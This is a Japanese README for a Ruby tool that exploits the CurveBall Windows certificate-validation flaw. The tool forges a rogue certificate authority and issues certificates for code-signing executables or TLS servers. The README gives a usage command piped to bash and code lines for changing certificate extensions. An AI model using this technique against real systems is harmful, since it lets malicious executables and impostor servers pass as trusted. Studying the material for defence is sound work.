
このRubyスクリプトは、正規の認証局を偽装し、CurveBall脆弱性の影響を受けるWindowsコンピュータで有効とみなされる証明書を生成するために使用できます。
偽装したい認証局から発行された証明書を入手する必要があります。
次に、以下のコマンドでスクリプトを実行できます:
ruby gen-rogue-cert.rb -in=ca.crt -subj="/C=France/ST=IleDeFrance/L=Paris/O=YoannDqr" -out=cert_rb.p12 -exe=DoNotDebugMe.exe -sh -type=exe -sh | bash
このスクリプトは、署名付きPEやTLSサーバーの生成にも使用できます。
このスクリプトは、RubyのOpenSSLライブラリ https://github.com/ruby/openssl に基づいています。
入力された証明書から抽出した公開鍵を使って偽のCAを生成します。 次に、証明書署名要求(CSR)を生成し、偽のCA証明書で署名します。 証明書はPKCS12ファイルにパッケージ化され、コンピュータに保存されます。
TLS証明書を生成するなどの機能を追加するには、証明書署名要求から生成された証明書の拡張を変更するだけです。
csr_cert.add_extension(extension_factory.create_extension('extendedKeyUsage', 'codeSigning'))csr_cert.add_extension(extension_factory.create_extension('extendedKeyUsage', 'serverAuth, clientAuth'))